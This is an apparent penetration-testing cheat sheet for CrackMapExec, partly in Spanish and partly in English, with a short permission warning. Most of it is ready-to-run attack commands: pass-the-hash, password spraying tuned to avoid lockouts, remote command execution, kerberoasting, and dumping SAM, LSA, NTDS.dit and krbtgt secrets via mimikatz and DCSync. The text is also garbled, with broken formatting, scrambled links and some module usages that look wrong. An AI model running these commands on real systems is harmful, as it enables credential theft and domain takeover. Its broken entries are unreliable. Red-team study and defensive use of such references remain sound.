CrackMapExec Hoja de Referencia¶

Descripción general¶

CrackMapExec (CME) es una herramienta de post-explotación diseñada para pruebas de penetración y operaciones de red roja en entornos Windows/Active Directory. A menudo se describe como un "navaja suiza" para pruebas de penetración de red, permitiendo enumeración, prueba de credenciales y ejecución de comandos a través de múltiples protocolos.

⚠️ Advertencia: CrackMapExec es una herramienta de prueba de seguridad que solo debe usarse en entornos donde tenga permiso explícito para hacerlo.

Instalación¶

Usando pipx (Recomendado)¶

# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath

# Install CrackMapExec
pipx install crackmapexec

En Kali Linux¶

sudo apt update
sudo apt install -y crackmapexec

Desde GitHub¶

git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install

Usando Docker¶

docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec

Uso básico¶

Sintaxis general¶

crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]

Protocolos compatibles¶

smb: Server Message Block
winrm: Windows Remote Management
ldap: Lightweight Directory Access Protocol
mssql: Microsoft SQL Server
ssh: Secure Shell
rdp: Remote Desktop Protocol
ftp: File Transfer Protocol

Especificación de objetivo¶

# Single target
crackmapexec smb 192.168.1.100

# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101

# IP range
crackmapexec smb 192.168.1.1-255

# CIDR notation
crackmapexec smb 192.168.1.0/24

# From file
crackmapexec smb targets.txt

Métodos de autenticación¶

Nombre de usuario y contraseña¶

# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'

# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'

# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'

# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

Pass-the-Hash¶

# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'

# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt

Autenticación local¶

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth

Autenticación de dominio¶

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN

Comandos de protocolo SMB¶

Enumeración básica¶

# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares

# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users

# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups

# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

Ejecución de comandos¶

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Execute command¶

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'

Execute PowerShell command¶

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'

### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'

# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt

# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'

WinRM Protocol Commands¶

Basic Enumeration¶

# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'

Command Execution¶

# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'

# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'

LDAP Protocol Commands¶

Basic Enumeration¶

# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain

# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers

# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts

Advanced Enumeration¶

# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description

# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation

# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate

# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt

# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt

MSSQL Protocol Commands¶

Basic Enumeration¶

# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'

# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'

Command Execution¶

# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'

# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'

Module Usage¶

Module Management¶

# List available modules
crackmapexec <protocol> --list-modules

# Get module options
crackmapexec <protocol> -M <module> --options

# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2

Common Modules¶

Mimikatz¶

# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'

# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'

# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'

Empire¶

# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http

PowerView¶

# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'

BloodHound¶

# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All

Lsassy¶

# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy

Enum_DNS¶

# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns

GOAD¶

# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad

Advanced Techniques¶

Password Spraying¶

# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'

# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt

# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10

Credential Harvesting¶

# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam

# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa

# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds

Database Operations¶

Initialize Database¶

crackmapexec smb 192.168.1.0/24 --database

View Database¶

# List hosts
crackmapexec smb --database -L

# List credentials
crackmapexec smb --database -C

# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1

Common Options¶

Opción	Descripción
`-h, --help`	Mostrar mensaje de ayuda y salir
`-t THREADS`	Establecer número de hilos concurrentes (predeterminado: 100)
`--timeout TIMEOUT`	Establecer timeout para conexiones (predeterminado: 5 segundos)
`--verbose`	Habilitar salida detallada
`--debug`	Habilitar salida de depuración
`--continue-on-success`	Continuar intentos de autenticación incluso después del éxito
`--no-bruteforce`	Sin fuerza bruta, solo usar credenciales proporcionadas
`--fail-limit LIMIT`	Número de intentos de inicio de sesión fallidos antes de rendirse en un host
`--jitter JITTER`	Agregar un retraso aleatorio entre intentos de autenticación (en segundos)
`--local-auth`	Autenticar usando cuentas locales en lugar de dominio
`-d, --domain DOMAIN`	Dominio para autenticar
`--no-output`	No mostrar salida
`--output-file FILE`	Escribir salida a archivo
`--log`	Habilitar registro en archivo (predeterminado: ~/.cme/logs/)

Opción	Descripción
`--shares`	Listar acciones disponibles
`--sessions`	Listar sesiones activas
`--disks`	Listar discos
`--loggedon-users`	Listar usuarios conectados
`--users`	Listar usuarios de dominio
`--groups`	Listar grupos de dominio
`--local-groups`	Listar grupos locales
`--pass-pol`	Obtener política de contraseña
`--rid-brute [MAX_RID]`	Enumerar usuarios mediante fuerza bruta de RID
`--sam`	Volcar hashes SAM
`--lsa`	Volcar secretos LSA
`--ntds`	Volcar NTDS.dit
`--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\}`	Método para ejecutar comandos

Opción	Descripción
`--users`	Listar usuarios de dominio
`--groups`	Listar grupos de dominio
`--computers`	Enumerar equipos de dominio
`--domain`	Obtener información de dominio
`--pass-pol`	Obtener política de contraseña
`--trusts`	Obtener confianzas de dominio
`--asreproast [OUTFILE]`	Obtener usuarios AS-REP roastables
`--kerberoasting [OUTFILE]`	Obtener usuarios kerberoastables
`--trusted-for-delegation`	Obtener usuarios/equipos con delegación sin restricciones
`--allowed-to-delegate`	Obtener usuarios/equipos con delegación restringida

Opción	Descripción
`--port [PORT]`	Puerto WinRM (predeterminado: 5985)
`--ssl`	Usar SSL para WinRM

Opción	Descripción
`--port [PORT]`	Puerto de MSSQL (predeterminado: 1433)
`-q QUERY`	Ejecutar consulta SQL
https://github.com/byt3bl33d3r/CrackMapExec## Recursos
- [Repositorio Oficial de GitHub](
https://github.com/byt3bl33d3r/CrackMapExec/wiki)
- [Wiki de CrackMapExec](
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation)
- [Guía de Instalación de CrackMapExec](
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Module-Documentation)
- [Documentación de Módulos de CrackMapExec](